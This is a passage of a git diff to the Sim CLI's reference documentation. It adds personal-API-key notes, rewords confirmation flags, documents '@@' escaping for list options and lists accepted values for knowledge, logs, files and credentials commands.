chunks batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | What to do with the selected chunks. Accepted values: `enable`, `disable`, `delete`. | -| `--chunk ` | Yes | Chunks to operate on, by identifier. Ids outside the document are ignored. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--chunk ` | Yes | Chunks to operate on, by identifier. An id naming no chunk in the document is reported in errors and does not fail the request. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -265,6 +283,8 @@ sim knowledge chunks batch-update [options] sim knowledge chunks create [options] ``` +Create Chunk (personal API key required) + **Arguments** @@ -294,6 +314,8 @@ sim knowledge chunks create [options] sim knowledge chunks delete [options] ``` +Delete Chunk (personal API key required) + **Arguments** @@ -312,7 +334,7 @@ sim knowledge chunks delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -322,6 +344,8 @@ sim knowledge chunks delete [options] sim knowledge chunks get ``` +Get Chunk (personal API key required) + **Arguments** @@ -340,6 +364,8 @@ sim knowledge chunks get sim knowledge chunks list [options] ``` +List Chunks (personal API key required) + **Arguments** @@ -371,6 +397,8 @@ sim knowledge chunks list [options] sim knowledge chunks update [options] ``` +Update Chunk (personal API key required) + **Arguments** @@ -401,6 +429,8 @@ sim knowledge chunks update [options] sim knowledge documents batch-update [options] ``` +Enable or disable every matching document (personal API key required) + **Arguments** @@ -418,7 +448,7 @@ sim knowledge documents batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether the selected documents become enabled or disabled for search. Accepted values: `enable`, `disable`. | -| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line). | +| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--select-all` | No | Apply to every document in the knowledge base. | | `--enabled-filter ` | No | With `selectAll`, restrict the update to documents in this state. Accepted values: `all`, `enabled`, `disabled`. | @@ -447,7 +477,7 @@ sim knowledge documents delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -505,6 +535,8 @@ sim knowledge documents list [options] sim knowledge documents update [options] ``` +Update Document (personal API key required) + **Arguments** @@ -574,8 +606,8 @@ sim knowledge documents upload [options] | --- | --- | --- | | `--name ` | No | Store it under a different name. | | `--tag ` | No | Document tags, in tag1 through tag7 order. | -| `--recipe ` | No | Document processing recipe. | -| `--lang ` | No | Document language code. | +| `--recipe ` | No | Document processing recipe. Accepted values: `default`, `plain`, `markdown`, `code`. | +| `--lang ` | No | Document language tag: hyphen-separated letter and digit subtags, for example en or en-US. | @@ -604,6 +636,8 @@ sim knowledge create [options] sim knowledge connectors create [options] ``` +Create Knowledge Connector (personal API key required) + **Arguments** @@ -634,6 +668,8 @@ sim knowledge connectors create [options] sim knowledge connectors delete [options] ``` +Delete Knowledge Connector (personal API key required) + **Arguments** @@ -653,7 +689,7 @@ sim knowledge connectors delete [options] | --- | --- | --- | | `--delete-documents` | No | Also permanently delete documents produced by this connector. | | `--no-delete-documents` | No | Send --delete-documents as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -663,6 +699,8 @@ sim knowledge connectors delete [options] sim knowledge connectors get ``` +Get Knowledge Connector (personal API key required) + **Arguments** @@ -680,6 +718,8 @@ sim knowledge connectors get sim knowledge connectors documents list [options] ``` +List Knowledge Connector Documents (personal API key required) + **Arguments** @@ -709,6 +749,8 @@ sim knowledge connectors documents list [options sim knowledge connectors documents update [options] ``` +Update Knowledge Connector Documents (personal API key required) + **Arguments** @@ -727,7 +769,7 @@ sim knowledge connectors documents update [optio | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether to restore or exclude the selected documents. Accepted values: `restore`, `exclude`. | -| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -737,6 +779,8 @@ sim knowledge connectors documents update [optio sim knowledge connectors list [options] ``` +List Knowledge Connectors (personal API key required) + **Arguments** @@ -765,6 +809,8 @@ sim knowledge connectors list [options] sim knowledge connectors sync [options] ``` +Queue a knowledge connector synchronization (personal API key required) + **Arguments** @@ -793,6 +839,8 @@ sim knowledge connectors sync [options] sim knowledge connectors update [options] ``` +Update Knowledge Connector (personal API key required) + **Arguments** @@ -855,11 +903,11 @@ sim knowledge folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | -## List folders +## List knowledge folders ```bash sim knowledge folders list [options] @@ -921,7 +969,7 @@ sim knowledge delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -990,7 +1038,7 @@ sim knowledge search [options] | Option | Required | Description | | --- | --- | --- | -| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line). | +| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--query ` | No | Text to search for. | | `--top-k ` | No | Maximum number of search results to return. Must be a whole number between 1 and 100; the boundary schema only bounds the range, so a fractional value is admitted here and then rejected with 400 during search. | | `--tag-filters ` | No | Tag filters as [{"tagName":"...","operator":"...","value":"..."}] (JSON, or @path / @- to read a file or stdin). | diff --git a/apps/docs/content/docs/en/cli/logs.mdx b/apps/docs/content/docs/en/cli/logs.mdx index 920792e8bdf..df85aaa0bf1 100644 --- a/apps/docs/content/docs/en/cli/logs.mdx +++ b/apps/docs/content/docs/en/cli/logs.mdx @@ -35,7 +35,7 @@ sim logs get [options] -## Summarize run counts, failures, and cost over a window +## Summarize run counts, failures and latency over a window ```bash sim logs stats [options] @@ -47,9 +47,9 @@ sim logs stats [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -69,8 +69,8 @@ sim logs list [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -85,12 +85,12 @@ sim logs list [options] | `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | | `--status ` | No | Comma-separated execution statuses to include, from `pending` \| `running` \| `paused` \| `redacting` \| `completed` \| `failed` \| `cancelled`. An empty entry is rejected. ANDed with `level`, which reports severity rather than lifecycle. | | `--workflow-name ` | No | Case-insensitive substring match against the run's workflow name. Runs whose workflow has been deleted match nothing, because the name is no longer joinable. | -| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | +| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | | `--no-include-job-runs` | No | Send --include-job-runs as false. | | `--run-id ` | No | Exact run identifier to match. | -| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | +| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -106,9 +106,9 @@ sim logs follow [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Only follow runs of this workflow (repeatable). Defaults to ``. | -| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). Defaults to ``. | -| `--trigger ` | No | Only follow runs with this trigger type (repeatable). Defaults to ``. | +| `--workflow ` | No | Only follow runs of this workflow (repeatable). | +| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). | +| `--trigger ` | No | Only follow runs with this trigger type (repeatable). | | `--level ` | No | Only follow runs at this severity. Accepted values: `info`, `error`. | | `--details ` | No | Response detail level; full names each run’s workflow. Accepted values: `basic`, `full`. Defaults to `full`. | | `-n, --lines ` | No | Recent runs to print before watching. Defaults to `10`. | diff --git a/apps/docs/content/docs/en/cli/mcp-servers.mdx b/apps/docs/content/docs/en/cli/mcp-servers.mdx index c099de5b6a9..db0f65a115a 100644 --- a/apps/docs/content/docs/en/cli/mcp-servers.mdx +++ b/apps/docs/content/docs/en/cli/mcp-servers.mdx @@ -58,7 +58,7 @@ sim mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -103,6 +103,8 @@ sim mcp-servers list [options] sim mcp-servers tools list [options] ``` +List MCP Server Tools (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/output.mdx b/apps/docs/content/docs/en/cli/output.mdx index 1c431f838d8..b85aa9cb431 100644 --- a/apps/docs/content/docs/en/cli/output.mdx +++ b/apps/docs/content/docs/en/cli/output.mdx @@ -15,7 +15,7 @@ Every command renders through the same four formats. Select one per command, save it to the profile, or set it in the environment: ```bash -sim tables get tbl_123 --output json +sim tables get tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --output json sim configure --set-output json SIM_OUTPUT=yaml sim logs list > logs.yaml ``` @@ -47,14 +47,14 @@ An absent value is an em-dash in `table` and an empty field in `text`. with span inputs, outputs, errors, timing, and cost: ```bash -sim logs get run_123 --trace +sim logs get 9c4f0b7e-2d81-4a35-b6e9-70f1c8a2d543 --trace ``` `json` and `yaml` always carry the complete response, so `--trace` is a no-op there: ```bash -sim logs get run_123 --output json | jq '.traceSpans' +sim logs get 9c4f0b7e-2d81-4a35-b6e9-70f1c8a2d543 --output json | jq '.traceSpans' ``` ## Exceptions @@ -66,6 +66,6 @@ configuration, not API data. so that it round-trips through `import`: ```bash -sim workflows export wf_123 > wf.json +sim workflows export 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 > wf.json sim workflows import --workflow @wf.json ``` diff --git a/apps/docs/content/docs/en/cli/reference.mdx b/apps/docs/content/docs/en/cli/reference.mdx index a2db7d27cbf..9bb1d4cf8af 100644 --- a/apps/docs/content/docs/en/cli/reference.mdx +++ b/apps/docs/content/docs/en/cli/reference.mdx @@ -175,7 +175,7 @@ Also spelled `sim audit-log`. ### sim audit-logs get -Get Audit Log +Get Audit Log (personal API key required) ```bash sim audit-logs get [options] @@ -203,7 +203,7 @@ sim audit-logs get [options] ### sim audit-logs list -List Audit Logs +List Audit Logs (personal API key required) ```bash sim audit-logs list [options] @@ -251,7 +251,7 @@ sim billing status [options] ### sim billing logs -List credit usage events +List credit usage events (a personal API key reports only your own events; a workspace API key reports every member's in aggregate, unattributed) ```bash sim billing logs [options] @@ -367,7 +367,7 @@ Also spelled `sim credential`. ### sim credentials delete -Disconnect Credential +Disconnect Credential (personal API key required) ```bash sim credentials delete [options] @@ -389,7 +389,7 @@ sim credentials delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -436,7 +436,7 @@ sim credentials list [options] ### sim credentials update -Update Credential +Update Credential (personal API key required) ```bash sim credentials update [options] @@ -479,7 +479,7 @@ sim credentials update [options] ### sim credentials create -Create a service-account credential using its discovered provider schema +Create a service-account credential using its discovered provider schema (personal API key required) ```bash sim credentials create [options] @@ -510,7 +510,7 @@ sim credentials create [options] ### sim credentials connect -Create a short-lived link for connecting an OAuth provider +Create a short-lived link for connecting an OAuth provider (personal API key required) ```bash sim credentials connect [options] @@ -538,7 +538,7 @@ sim credentials connect [options] ### sim credentials reconnect -Create a short-lived link for reconnecting an OAuth credential +Create a short-lived link for reconnecting an OAuth credential (personal API key required) ```bash sim credentials reconnect @@ -602,7 +602,7 @@ sim custom-tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -693,8 +693,8 @@ sim files batch-delete [options] | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -763,13 +763,13 @@ sim files folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim files folders list -List Folders +List folders ```bash sim files folders list [options] @@ -787,7 +787,7 @@ Also available as `sim files folders ls`. | `--search ` | No | Case-insensitive substring match against the folder name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -854,7 +854,7 @@ sim files delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -882,7 +882,7 @@ sim files describe [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -906,7 +906,7 @@ sim files share get ### sim files share set -Enable or disable sharing for a file +Enable or disable sharing for a file (personal API key required) ```bash sim files share set [options] @@ -931,7 +931,7 @@ sim files share set [options] | `--is-active ` | Yes | Whether the share should resolve. Disabling preserves the token and the whole access configuration, so re-enabling restores the share as it was; enabling rewrites the credentials the resulting mode does not use. Accepted values: `true`, `false`. | | `--auth-type ` | No | How access to the share is gated. The stored mode is kept when omitted. Enabling `public` clears the stored password and empties `allowedEmails`; `password` empties `allowedEmails`; `email` and `sso` clear the stored password. Accepted values: `public`, `password`, `email`, `sso`. | | `--password ` | No | Password for a password-gated share. Kept when omitted; enabling `password` with neither a supplied nor a stored password is a 400. | -| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line). | +| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -952,7 +952,7 @@ sim files list [options] | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--recursive` | No | Whether the folder filter includes files in subfolders. Defaults to true when a search is set, false otherwise, so listing a folder shows that folder while searching one looks through everything in it. Ignored when no folder filter is set, which already spans the workspace. | | `--no-recursive` | No | Send --recursive as false. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--search ` | No | Case-insensitive substring match against the file name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `size`, `uploadedAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | @@ -976,7 +976,7 @@ Also available as `sim files mv`. | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -1079,7 +1079,7 @@ sim files unzip [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1223,7 +1223,7 @@ Also spelled `sim kb`. ### sim knowledge from-workspace-files create -Index files the workspace already stores +Index files the workspace already stores (personal API key required) ```bash sim knowledge from-workspace-files create [options] @@ -1245,13 +1245,13 @@ sim knowledge from-workspace-files create [options] | Option | Required | Description | | --- | --- | --- | -| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line). | +| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | ### sim knowledge tags save -Declare the tag definitions a knowledge base needs +Declare the tag definitions a knowledge base needs (personal API key required) ```bash sim knowledge tags save [options] @@ -1279,7 +1279,7 @@ sim knowledge tags save [options] ### sim knowledge tags create -Create Tag +Create Tag (personal API key required) ```bash sim knowledge tags create [options] @@ -1309,7 +1309,7 @@ sim knowledge tags create [options] ### sim knowledge tags delete -Delete Tag +Delete Tag (personal API key required) ```bash sim knowledge tags delete [options] @@ -1332,13 +1332,13 @@ sim knowledge tags delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge tags cleanup -Remove tag definitions no document still uses +Remove tag definitions no document still uses (personal API key required) ```bash sim knowledge tags cleanup [options] @@ -1362,13 +1362,13 @@ sim knowledge tags cleanup [options] | --- | --- | --- | | `--unused` | No | Whether to remove only the tag definitions no document in the knowledge base still carries a value for. Defaults to true. Pass --no-unused to delete every definition on the knowledge base, which also clears its slot on every document and chunk and is not recoverable. | | `--no-unused` | No | Send --unused as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge tags next-slot -Show which tag slot a create would take for a field type +Show which tag slot a create would take for a field type (personal API key required) ```bash sim knowledge tags next-slot [options] @@ -1414,7 +1414,7 @@ sim knowledge tags list ### sim knowledge tags usage -Show how many documents and chunks carry each tag +Show how many documents and chunks carry each tag (personal API key required) ```bash sim knowledge tags usage @@ -1432,7 +1432,7 @@ sim knowledge tags usage ### sim knowledge tags update -Update Tag +Update Tag (personal API key required) ```bash sim knowledge tags update [options] @@ -1462,7 +1462,7 @@ sim knowledge tags update [options] ### sim knowledge chunks batch-update -Enable, disable, or delete many chunks at once +Enable, disable, or delete many chunks at once (personal API key required) ```bash sim knowledge chunks batch-update [options] @@ -1486,14 +1486,14 @@ sim knowledge chunks batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | What to do with the selected chunks. Accepted values: `enable`, `disable`, `delete`. | -| `--chunk ` | Yes | Chunks to operate on, by identifier. Ids outside the document are ignored. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--chunk ` | Yes | Chunks to operate on, by identifier. An id naming no chunk in the document is reported in errors and does not fail the request. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge chunks create -Create Chunk +Create Chunk (personal API key required) ```bash sim knowledge chunks create [options] @@ -1524,7 +1524,7 @@ sim knowledge chunks create [options] ### sim knowledge chunks delete -Delete Chunk +Delete Chunk (personal API key required) ```bash sim knowledge chunks delete [options] @@ -1548,13 +1548,13 @@ sim knowledge chunks delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge chunks get -Get Chunk +Get Chunk (personal API key required) ```bash sim knowledge chunks get @@ -1574,7 +1574,7 @@ sim knowledge chunks get ### sim knowledge chunks list -List Chunks +List Chunks (personal API key required) ```bash sim knowledge chunks list [options] @@ -1607,7 +1607,7 @@ sim knowledge chunks list [options] ### sim knowledge chunks update -Update Chunk +Update Chunk (personal API key required) ```bash sim knowledge chunks update [options] @@ -1639,7 +1639,7 @@ sim knowledge chunks update [options] ### sim knowledge documents batch-update -Enable or disable every matching document +Enable or disable every matching document (personal API key required) ```bash sim knowledge documents batch-update [options] @@ -1662,7 +1662,7 @@ sim knowledge documents batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether the selected documents become enabled or disabled for search. Accepted values: `enable`, `disable`. | -| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line). | +| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--select-all` | No | Apply to every document in the knowledge base. | | `--enabled-filter ` | No | With `selectAll`, restrict the update to documents in this state. Accepted values: `all`, `enabled`, `disabled`. | @@ -1693,7 +1693,7 @@ sim knowledge documents delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1751,7 +1751,7 @@ sim knowledge documents list [options] ### sim knowledge documents update -Update Document +Update Document (personal API key required) ```bash sim knowledge documents update [options] @@ -1828,8 +1828,8 @@ sim knowledge documents upload [options] | --- | --- | --- | | `--name ` | No | Store it under a different name. | | `--tag ` | No | Document tags, in tag1 through tag7 order. | -| `--recipe ` | No | Document processing recipe. | -| `--lang ` | No | Document language code. | +| `--recipe ` | No | Document processing recipe. Accepted values: `default`, `plain`, `markdown`, `code`. | +| `--lang ` | No | Document language tag: hyphen-separated letter and digit subtags, for example en or en-US. | @@ -1856,7 +1856,7 @@ sim knowledge create [options] ### sim knowledge connectors create -Create Knowledge Connector +Create Knowledge Connector (personal API key required) ```bash sim knowledge connectors create [options] @@ -1888,7 +1888,7 @@ sim knowledge connectors create [options] ### sim knowledge connectors delete -Delete Knowledge Connector +Delete Knowledge Connector (personal API key required) ```bash sim knowledge connectors delete [options] @@ -1913,13 +1913,13 @@ sim knowledge connectors delete [options] | --- | --- | --- | | `--delete-documents` | No | Also permanently delete documents produced by this connector. | | `--no-delete-documents` | No | Send --delete-documents as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge connectors get -Get Knowledge Connector +Get Knowledge Connector (personal API key required) ```bash sim knowledge connectors get @@ -1938,7 +1938,7 @@ sim knowledge connectors get ### sim knowledge connectors documents list -List Knowledge Connector Documents +List Knowledge Connector Documents (personal API key required) ```bash sim knowledge connectors documents list [options] @@ -1969,7 +1969,7 @@ sim knowledge connectors documents list [options ### sim knowledge connectors documents update -Update Knowledge Connector Documents +Update Knowledge Connector Documents (personal API key required) ```bash sim knowledge connectors documents update [options] @@ -1993,13 +1993,13 @@ sim knowledge connectors documents update [optio | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether to restore or exclude the selected documents. Accepted values: `restore`, `exclude`. | -| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | ### sim knowledge connectors list -List Knowledge Connectors +List Knowledge Connectors (personal API key required) ```bash sim knowledge connectors list [options] @@ -2029,7 +2029,7 @@ sim knowledge connectors list [options] ### sim knowledge connectors sync -Queue a knowledge connector synchronization +Queue a knowledge connector synchronization (personal API key required) ```bash sim knowledge connectors sync [options] @@ -2059,7 +2059,7 @@ sim knowledge connectors sync [options] ### sim knowledge connectors update -Update Knowledge Connector +Update Knowledge Connector (personal API key required) ```bash sim knowledge connectors update [options] @@ -2131,13 +2131,13 @@ sim knowledge folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge folders list -List Folders +List knowledge folders ```bash sim knowledge folders list [options] @@ -2203,7 +2203,7 @@ sim knowledge delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2280,7 +2280,7 @@ sim knowledge search [options] | Option | Required | Description | | --- | --- | --- | -| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line). | +| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--query ` | No | Text to search for. | | `--top-k ` | No | Maximum number of search results to return. Must be a whole number between 1 and 100; the boundary schema only bounds the range, so a fractional value is admitted here and then rejected with 400 during search. | | `--tag-filters ` | No | Tag filters as [{"tagName":"...","operator":"...","value":"..."}] (JSON, or @path / @- to read a file or stdin). | @@ -2423,7 +2423,7 @@ sim logs get [options] ### sim 